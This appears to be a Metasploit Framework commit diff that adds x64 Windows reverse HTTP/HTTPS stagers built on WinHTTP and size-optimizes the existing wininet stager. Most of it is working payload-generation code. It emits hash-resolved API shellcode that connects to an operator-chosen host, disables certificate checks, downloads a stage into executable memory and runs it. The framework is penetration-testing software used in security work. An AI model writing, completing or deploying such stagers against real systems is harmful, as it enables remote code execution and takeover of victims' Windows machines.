Implement winhttp for x64
Still has some quirks to fix up, but we're getting there. Everything seems to work except for reverse_winhttps. I can't see why at this point.bug/bundler_fix
parent
800ab11abd
commit
e69e6c4a73
|
@ -57,8 +57,7 @@ module Payload::Windows::Exitfunk_x64
|
|||
asm << %Q^
|
||||
push 0 ;
|
||||
pop rcx ; set the exit function parameter
|
||||
mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
|
||||
call rbp ; ExitProcess(0)
|
||||
^
|
||||
|
||||
|
@ -66,8 +65,7 @@ module Payload::Windows::Exitfunk_x64
|
|||
asm << %Q^
|
||||
push 300000 ; 300 seconds
|
||||
pop rcx ; set the sleep function parameter
|
||||
mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
mov r10d, ebx ; place the correct EXITFUNK into r10d
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
|
||||
call rbp ; Sleep(30000)
|
||||
jmp exitfunk ; repeat
|
||||
^
|
||||
|
|
|
@ -198,8 +198,10 @@ module Payload::Windows::ReverseHttp_x64
|
|||
end
|
||||
|
||||
asm = %Q^
|
||||
xor rbx, rbx
|
||||
|
||||
load_wininet:
|
||||
push 0
|
||||
push rbx
|
||||
mov r14, 'wininet'
|
||||
push r14 ; Push 'wininet',0 onto the stack
|
||||
mov r14, rsp ; Save pointer to string
|
||||
|
@ -222,17 +224,19 @@ module Payload::Windows::ReverseHttp_x64
|
|||
else
|
||||
asm << %Q^
|
||||
xor r8, r8 ; NULL pointer (lpszProxyName)
|
||||
xor rdx, rdx ; PRECONFIG = 0 (dwAccessType)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx
|
||||
pop rdx ; PRECONFIG = 0 (dwAccessType)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
push 0 ; alignment
|
||||
push 0 ; NULL pointer
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; 0 for alignment
|
||||
xor r9, r9 ; NULL pointer (lpszProxyBypass)
|
||||
mov rcx, rsp ; Empty string pointer (lpszAgent)
|
||||
push 0 ; 0 (dwFlags)
|
||||
push 0 ; alignment
|
||||
push rbx ; 0 (dwFlags)
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
|
||||
call rbp
|
||||
^
|
||||
|
@ -247,10 +251,10 @@ module Payload::Windows::ReverseHttp_x64
|
|||
mov rcx, rax ; HINTERNET (hInternet)
|
||||
mov r8, #{opts[:port]} ;
|
||||
xor r9, r9 ; String (lpszUsername)
|
||||
push 0 ; NULL (dwContext)
|
||||
push 0 ; 0 (dwFlags)
|
||||
push rbx ; NULL (dwContext)
|
||||
push rbx ; 0 (dwFlags)
|
||||
push 3 ; INTERNET_SERVICE_HTTP (dwService)
|
||||
push 0 ; alignment
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
|
||||
call rbp
|
||||
^
|
||||
|
@ -277,8 +281,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
pop r9
|
||||
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
; TODO: Without these pushes, things crashed. Not sure why.
|
||||
push 0 ; alignment
|
||||
push 0 ; alignment
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; 0 for alignment
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
@ -297,8 +301,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
pop r9
|
||||
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
|
||||
; TODO: Without these pushes, things crashed. Not sure why.
|
||||
push 0 ; alignment
|
||||
push 0 ; alignment
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; 0 for alignment
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
@ -318,9 +322,11 @@ module Payload::Windows::ReverseHttp_x64
|
|||
httpopenrequest:
|
||||
pop r8 ; String (lpszObjectName)
|
||||
mov rcx, rax ; HINTERNET (hConnect)
|
||||
xor rdx, rdx ; NULL pointer (lpszVerb)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx
|
||||
pop rdx ; NULL pointer (lpszVerb)
|
||||
xor r9, r9 ; String (lpszVersion)
|
||||
push 0 ; 0 (dwContext)
|
||||
push rbx ; 0 (dwContext)
|
||||
; TODO: figure out what's going on here (get help from HD?)
|
||||
; Having to use mov + push instead of push qword because
|
||||
; Metasm doesn't seem to like it. Plain 'push' doesn't work
|
||||
|
@ -328,8 +334,8 @@ module Payload::Windows::ReverseHttp_x64
|
|||
;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags)
|
||||
mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags)
|
||||
push r10
|
||||
push 0 ; NULL pointer (lplpszAcceptTypes)
|
||||
push 0 ; NULL pointer (lpszReferer)
|
||||
push rbx ; NULL pointer (lplpszAcceptTypes)
|
||||
push rbx ; NULL pointer (lpszReferer)
|
||||
mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
|
||||
call rbp
|
||||
mov rsi, rax ; Store the request handle in RSI
|
||||
|
@ -347,7 +353,7 @@ module Payload::Windows::ReverseHttp_x64
|
|||
mov rcx, rsi ; (hInternet)
|
||||
push 31 ; INTERNET_OPTION_SECURITY_FLAGS
|
||||
pop rdx
|
||||
push 0 ; alignment
|
||||
push rbx ; 0 for alignment
|
||||
push #{set_option_flags} ; (dwFlags)
|
||||
mov r8, rsp
|
||||
push 4 ; sizeof(dwFlags)
|
||||
|
@ -360,18 +366,20 @@ module Payload::Windows::ReverseHttp_x64
|
|||
asm << %Q^
|
||||
httpsendrequest:
|
||||
mov rcx, rsi ; HINTERNET (hRequest)
|
||||
xor rdx, rdx ; NULL pointer (lpszHeaders)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx
|
||||
pop rdx ; NULL pointer (lpszHeaders)
|
||||
xor r8, r8 ; 0 (dwHeadersLength)
|
||||
xor r9, r9 ; NULL pointer (lpOptional)
|
||||
push 0 ; alignment
|
||||
push 0 ; 0 (dwOptionalLength)
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; 0 (dwOptionalLength)
|
||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call rbp
|
||||
test rax,rax
|
||||
test eax, eax ; use eax, it's 1 byte less than rax
|
||||
jnz allocate_memory
|
||||
|
||||
try_it_again:
|
||||
dec rdi
|
||||
dec edi ; use edi, it's 1 byte less than rdi
|
||||
jz failure
|
||||
jmp retry
|
||||
^
|
||||
|
@ -391,10 +399,13 @@ module Payload::Windows::ReverseHttp_x64
|
|||
|
||||
asm << %Q^
|
||||
allocate_memory:
|
||||
xor rcx, rcx ; NULL pointer (lpAddress)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx
|
||||
pop rcx ; NULL pointer (lpAddress)
|
||||
mov rdx, 0x00400000 ; SIZE_T (dwSize)
|
||||
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
|
||||
mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect)
|
||||
push 0x40
|
||||
pop r9 ; PAGE_EXECUTE_READWRITE (flProtect)
|
||||
mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
||||
call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
|
||||
|
@ -416,10 +427,11 @@ module Payload::Windows::ReverseHttp_x64
|
|||
test eax, eax ; did the download fail?
|
||||
jz failure
|
||||
|
||||
mov ax, word ptr [edi]
|
||||
add rbx, rax ; buffer += lpNumberOfBytesRead
|
||||
mov ax, word ptr [rdi]
|
||||
; Use ebx/eax here because we save bytes (don't need higher order 32 bits)
|
||||
add ebx, eax ; buffer += lpNumberOfBytesRead
|
||||
|
||||
test rax, rax
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jnz download_more ; loop until 0 is returned
|
||||
pop rax ; clear temp storage
|
||||
pop rax ; alignment
|
||||
|
|
|
@ -0,0 +1,477 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttp'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseWinHttp_x64
|
||||
|
||||
include Msf::Payload::Windows::ReverseHttp_x64
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate(opts={})
|
||||
conf = {
|
||||
:ssl => opts[:ssl] || false,
|
||||
:host => datastore['LHOST'],
|
||||
:port => datastore['LPORT'],
|
||||
:url => generate_small_uri,
|
||||
:retry_count => datastore['StagerRetryCount']
|
||||
}
|
||||
|
||||
# Add extra options if we have enough space
|
||||
unless self.available_space.nil? || required_space > self.available_space
|
||||
conf[:url] = generate_uri
|
||||
conf[:exitfunk] = datastore['EXITFUNC']
|
||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
||||
conf[:retry_count] = datastore['StagerRetryCount']
|
||||
end
|
||||
|
||||
generate_reverse_winhttp(conf)
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_http(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate and compile the stager
|
||||
#
|
||||
def generate_reverse_winhttp(opts={})
|
||||
combined_asm = %Q^
|
||||
cld ; Clear the direction flag.
|
||||
and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
|
||||
call start ; Call start, this pushes the address of 'api_call'
|
||||
; onto the stack.
|
||||
#{asm_block_api}
|
||||
start:
|
||||
pop rbp
|
||||
#{asm_reverse_winhttp(opts)}
|
||||
^
|
||||
Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
# Start with our cached default generated size
|
||||
space = cached_size
|
||||
|
||||
# Add 100 bytes for the encoder to have some room
|
||||
space += 100
|
||||
|
||||
# Make room for the maximum possible URL length
|
||||
space += 256
|
||||
|
||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||
space += 31
|
||||
|
||||
# The final estimated size
|
||||
space
|
||||
end
|
||||
|
||||
#
|
||||
# Convert a string into a NULL-terminated wchar byte array
|
||||
#
|
||||
def asm_generate_wchar_array(str)
|
||||
(str.to_s + "\x00").
|
||||
unpack("C*").
|
||||
pack("v*").
|
||||
unpack("C*").
|
||||
map{ |c| "0x%.2x" % c }.
|
||||
join(",")
|
||||
end
|
||||
|
||||
#
|
||||
# Generate an assembly stub with the configured feature set and options.
|
||||
#
|
||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||
# @option opts [String] :url The URI to request during staging
|
||||
# @option opts [String] :host The host to connect to
|
||||
# @option opts [Fixnum] :port The port to connect to
|
||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
|
||||
#
|
||||
def asm_reverse_winhttp(opts={})
|
||||
|
||||
retry_count = [opts[:retry_count].to_i, 1].max
|
||||
verify_ssl = nil
|
||||
encoded_cert_hash = nil
|
||||
encoded_url = asm_generate_wchar_array(opts[:url])
|
||||
encoded_host = asm_generate_wchar_array(opts[:host])
|
||||
|
||||
if opts[:ssl] && opts[:verify_cert_hash]
|
||||
verify_ssl = true
|
||||
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
||||
proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)
|
||||
proxy_info = ""
|
||||
|
||||
if proxy_enabled
|
||||
if opts[:proxy_type].to_s.downcase == "socks"
|
||||
proxy_info << "socks="
|
||||
else
|
||||
proxy_info << "http://"
|
||||
end
|
||||
|
||||
proxy_info << opts[:proxy_host].to_s
|
||||
if opts[:proxy_port].to_i > 0
|
||||
proxy_info << ":#{opts[:proxy_port]}"
|
||||
end
|
||||
|
||||
proxy_info = asm_generate_wchar_array(proxy_info)
|
||||
end
|
||||
|
||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||
|
||||
http_open_flags = 0
|
||||
secure_flags = 0
|
||||
|
||||
if opts[:ssl]
|
||||
http_open_flags = (
|
||||
0x00800000 | # WINHTTP_FLAG_SECURE
|
||||
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
|
||||
secure_flags = (
|
||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE
|
||||
0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA
|
||||
else
|
||||
http_open_flags = (
|
||||
0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||
end
|
||||
|
||||
asm = %Q^
|
||||
; Input: RBP must be the address of 'api_call'.
|
||||
; Clobbers: RAX, RSI, RDI, RSP will also be modified
|
||||
|
||||
xor rbx, rbx
|
||||
|
||||
load_winhttp:
|
||||
push rbx
|
||||
mov r14, 'winhttp' ; prepare the string 'winhttp'
|
||||
push r14
|
||||
mov rcx, rsp ; point to the string
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp ; Call LoadLibraryA("winhttp")
|
||||
^
|
||||
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
load_crypt32:
|
||||
push rbx
|
||||
mov r14, 'crypt32' ; prepare the string 'crypt32'
|
||||
push r14
|
||||
mov rcx, rsp ; point to the string
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call rbp ; Call LoadLibraryA("crypt32")
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
WinHttpOpen:
|
||||
^
|
||||
|
||||
if proxy_enabled
|
||||
asm << %Q^
|
||||
call get_proxy_server
|
||||
db #{proxy_info}
|
||||
get_proxy_server:
|
||||
pop r8 ; stack pointer (lpszProxyName)
|
||||
push 3 ; WINHTTP_ACCESS_TYPE_NAMED_PROXY 3 (dwAccessType)
|
||||
pop rdx
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
xor r8, r8 ; NULL (lpszProxyName)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx ; push 0
|
||||
pop rdx ; WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0 (dwAccesType)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
xor r9, r9 ; NULL (lpszProxyBypass)
|
||||
mov rcx, rsp ; Pointer to empty string ("")
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; NULL (lpszProxyBypass)
|
||||
push rbx ; 0 (dwFlags)
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}
|
||||
call rbp ; Call WinHttpOpen(...)
|
||||
|
||||
WinHttpConnect:
|
||||
call get_server_host
|
||||
db #{encoded_host}
|
||||
get_server_host:
|
||||
pop rdx ; Stack pointer (pswzServerName)
|
||||
mov rcx, rax ; hSession
|
||||
mov r8, #{opts[:port]} ; nServerPort
|
||||
; r9 should still be 0 after the previous call, so we don't need
|
||||
; to clear it again
|
||||
xor r9, r9 ; 0 (dwReserved)
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}
|
||||
call rbp
|
||||
|
||||
WinHttpOpenRequest:
|
||||
call get_server_uri
|
||||
db #{encoded_url}
|
||||
get_server_uri:
|
||||
pop r8 ; Stack pointer (pwszObjectName)
|
||||
; r9 should still be 0 after the previous call, so we don't need
|
||||
; to clear it again
|
||||
;xor r9, r9 ; NULL (pwszVersion)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx ; push 0
|
||||
pop rdx ; NULL (pwszVerb - defaults to GET)
|
||||
mov rcx, rax ; returned by WinHttpConnect (hConnect)
|
||||
push 0x#{http_open_flags.to_s(16)} ; (dwFlags)
|
||||
push rbx ; NULL (ppwszAcceptTypes)
|
||||
push rbx ; NULL (pwszReferer)
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}
|
||||
call rbp
|
||||
xchg rsi, rax ; save HttpRequest handle in rsi
|
||||
^
|
||||
|
||||
if proxy_enabled && proxy_user
|
||||
asm << %Q^
|
||||
set_up_proxy_config:
|
||||
push rbx ; pAuthParams (NULL)
|
||||
^
|
||||
|
||||
if proxy_pass
|
||||
asm << %Q^
|
||||
call got_proxy_pass ; put proxy_pass on the stack
|
||||
proxy_pass:
|
||||
db #{proxy_pass}
|
||||
got_proxy_pass:
|
||||
; pwszPassword now on the stack
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
push rbx ; pwszPassword (NULL)
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
call got_proxy_user ; put proxy user on the stack
|
||||
proxy_user:
|
||||
db #{proxy_user}
|
||||
got_proxy_user:
|
||||
pop r9 ; Get proxy user (pwszUserName)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx ; push 0
|
||||
pop rdx ; rdx is now 0
|
||||
inc edx ; WINHTTP_AUTH_TARGET_PROXY = 1 (dwAuthSceme)
|
||||
mov r8, rdx ; WINHTTP_AUTH_SCHEME_BASIC = 1 (dwAuthTargets)
|
||||
mov rcx, rsi ; Request handle (hRequest)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
if opts[:ssl]
|
||||
asm << %Q^
|
||||
set_security_options:
|
||||
mov rcx, rsi ; Handle for request (hConnect)
|
||||
push 31
|
||||
pop rdx ; WINHTTP_OPTION_SECURITY_FLAGS (dwOption)
|
||||
push 0x#{secure_flags.to_s(16)}
|
||||
mov r8, rsp ; Pointer to flags (lpBuffer)
|
||||
push 4
|
||||
pop r9 ; 4 (dwBufferLength)
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}
|
||||
call rbp
|
||||
test eax, eax ; use eax, it's 1 byte less than rax
|
||||
jz failure
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
; Store our retry counter in the rdi register
|
||||
set_retry:
|
||||
push #{retry_count}
|
||||
pop rdi
|
||||
|
||||
send_request:
|
||||
|
||||
WinHttpSendRequest:
|
||||
mov rcx, rsi ; Request handle (hRequest)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx ; push 0
|
||||
pop rdx ; NULL (pwszHeaders)
|
||||
xor r8, r8 ; 0 (dwHeadersLength)
|
||||
xor r9, r9 ; NULL (lpOptional)
|
||||
push rbx ; push 0 (dwContext)
|
||||
push rbx ; push 0 (dwTotalLength)
|
||||
push rbx ; push 0 (dwOptionalLength)
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
|
||||
call rbp
|
||||
test eax, eax ; use eax, it's 1 byte less than rax
|
||||
jnz check_response ; if TRUE call WinHttpReceiveResponse API
|
||||
|
||||
try_it_again:
|
||||
dec edi ; use edi, it's 1 byte less than rdi
|
||||
jnz send_request
|
||||
|
||||
; if we didn't allocate before running out of retries, fall through
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << %Q^
|
||||
failure:
|
||||
call exitfunk
|
||||
^
|
||||
else
|
||||
asm << %Q^
|
||||
failure:
|
||||
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||
call rbp
|
||||
^
|
||||
end
|
||||
|
||||
# Jump target if the request was sent successfully
|
||||
asm << %Q^
|
||||
check_response:
|
||||
^
|
||||
|
||||
# Verify the SSL certificate hash
|
||||
if verify_ssl
|
||||
asm << %Q^
|
||||
ssl_cert_get_context:
|
||||
mov rcx, rsi ; Request handle (hInternet)
|
||||
push 78 ; WINHTTP_OPTION_SERVER_CERT_CONTEXT
|
||||
pop rdx ; (dwOption)
|
||||
; Thanks to things that are on the stack from previous calls, we don't need to
|
||||
; worry about adding something to the stack to have space for the cert pointer,
|
||||
; so we won't worry about doing it, it'll save us bytes!
|
||||
mov r8, rsp ; Stack pointer (lpBuffer)
|
||||
push 8 ; One whole pointer
|
||||
mov r9, rsp ; Stack pointer (lpdwBufferLength)
|
||||
push rbx ; 0 for alignment
|
||||
push rbx ; 0 for alignment
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}
|
||||
call rbp
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_get_server_hash:
|
||||
mov rcx, [r9] ; Cert context pointer (pCertContext)
|
||||
push 20 ; length of the sha1 hash
|
||||
mov r9, rsp ; Address of length (pcbData)
|
||||
sub rsp, [r9] ; Allocate 20 bytes for the hash output
|
||||
mov r8, rsp ; 20 byte buffer (pvData)
|
||||
push 3
|
||||
pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId)
|
||||
; TODO: cater for alignment?
|
||||
mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}
|
||||
call rbp
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jz failure ; Bail out if we couldn't get the certificate context
|
||||
|
||||
ssl_cert_start_verify:
|
||||
call ssl_cert_compare_hashes
|
||||
db #{encoded_cert_hash}
|
||||
|
||||
ssl_cert_compare_hashes:
|
||||
pop rsi ; get the expected hash
|
||||
mov rdi, r8 ; pointer to the retrieved hash
|
||||
mov rcx, [r9] ; number of bytes to compare
|
||||
repe cmpsb ; do the hash comparison
|
||||
jnz failure ; Bail out if the result isn't zero
|
||||
|
||||
; Our certificate hash was valid, hurray!
|
||||
^
|
||||
end
|
||||
|
||||
asm << %Q^
|
||||
receive_response:
|
||||
; The API WinHttpReceiveResponse needs to be called
|
||||
; first to get a valid handle for WinHttpReadData
|
||||
mov rcx, rsi ; Handle to the request (hRequest)
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx ; push 0
|
||||
pop rdx ; NULL (lpReserved)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}
|
||||
call rbp
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jz failure
|
||||
|
||||
allocate_memory:
|
||||
; the push/pop sequence saves a byte over XOR
|
||||
push rbx ; push 0
|
||||
pop rcx ; NULL (lpAddress)
|
||||
; rdx should already be zero, so we can save two bytes by using edx here
|
||||
mov edx, 0x00400000 ; 4mb for stage (dwSize)
|
||||
mov r8, 0x1000 ; MEM_COMMIT (flAllocationType)
|
||||
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||
pop r9 ; (flProtect)
|
||||
; TODO: cater for alignment?
|
||||
mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||
call rbp ; Call VirtualAlloc(...);
|
||||
|
||||
download_prep:
|
||||
xchg rax, rbx ; place the allocated base address in rbx
|
||||
push rbx ; store a copy of the stage base address on the stack
|
||||
push rbx ; temporary storage for bytes read count
|
||||
mov rdi, rsp ; &bytesRead
|
||||
|
||||
download_more:
|
||||
mov rcx, rsi ; Handle to the request (hFile)
|
||||
mov rdx, rbx ; Buffer pointer (lpBuffer)
|
||||
mov r8, 8192 ; Size (dwNumberOfBytesToRead)
|
||||
mov r9, rdi ; Size received (lpNumberOfBytesRead)
|
||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}
|
||||
call rbp
|
||||
add rsp, 32 ; clean up reserved space
|
||||
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jz failure
|
||||
|
||||
mov ax, word ptr [rdi] ; load the bytes read
|
||||
; Use eax/ebx here, saves a byte. Don't need higher order bytes.
|
||||
add ebx, eax ; buffer += bytes_received
|
||||
|
||||
test eax, eax ; use eax instead of rax, saves a byte
|
||||
jnz download_more ; continue until it returns 0
|
||||
pop rax ; clear the temporary storage
|
||||
pop rax ; clear the temporary storage
|
||||
|
||||
execute_stage:
|
||||
ret ; dive into the stored stage address
|
||||
^
|
||||
|
||||
if opts[:exitfunk]
|
||||
asm << asm_exitfunk(opts)
|
||||
end
|
||||
|
||||
asm
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,70 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttp'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS using WinHTTP
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::ReverseWinHttps_x64
|
||||
|
||||
include Msf::Payload::Windows::ReverseWinHttp_x64
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
#
|
||||
def initialize(*args)
|
||||
super
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Generate the first stage
|
||||
#
|
||||
def generate
|
||||
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
super({
|
||||
:ssl => true,
|
||||
:verify_cert_hash => verify_cert_hash
|
||||
})
|
||||
end
|
||||
|
||||
def transport_config(opts={})
|
||||
transport_config_reverse_https(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Determine the maximum amount of space required for the features requested
|
||||
#
|
||||
def required_space
|
||||
space = super
|
||||
|
||||
# SSL support adds 20 bytes
|
||||
space += 20
|
||||
|
||||
# SSL verification adds 120 bytes
|
||||
if datastore['StagerVerifySSLCert']
|
||||
space += 120
|
||||
end
|
||||
|
||||
space
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -17,11 +17,11 @@ module Metasploit3
|
|||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse Hop HTTP Stager',
|
||||
'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload
|
||||
'Description' => %q{
|
||||
Tunnel communication over an HTTP hop point. Note that you must first upload
|
||||
data/hop/hop.php to the PHP server you wish to use as a hop.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Author' => [
|
||||
'scriptjunkie <scriptjunkie[at]scriptjunkie.us>',
|
||||
'hdm'
|
||||
],
|
||||
|
@ -31,14 +31,7 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHopHttp,
|
||||
'Convention' => 'sockedi http',
|
||||
'DefaultOptions' => { 'WfsDelay' => 30 },
|
||||
'Stager' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
# None, they get embedded in the shellcode
|
||||
}
|
||||
}
|
||||
))
|
||||
'Stager' => { 'Offsets' => { } }))
|
||||
|
||||
deregister_options('LHOST', 'LPORT')
|
||||
|
||||
|
|
|
@ -3,12 +3,11 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 312
|
||||
|
||||
|
@ -18,8 +17,8 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Name' => 'Windows Reverse HTTP Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows wininet)',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
|
@ -27,4 +26,5 @@ module Metasploit3
|
|||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
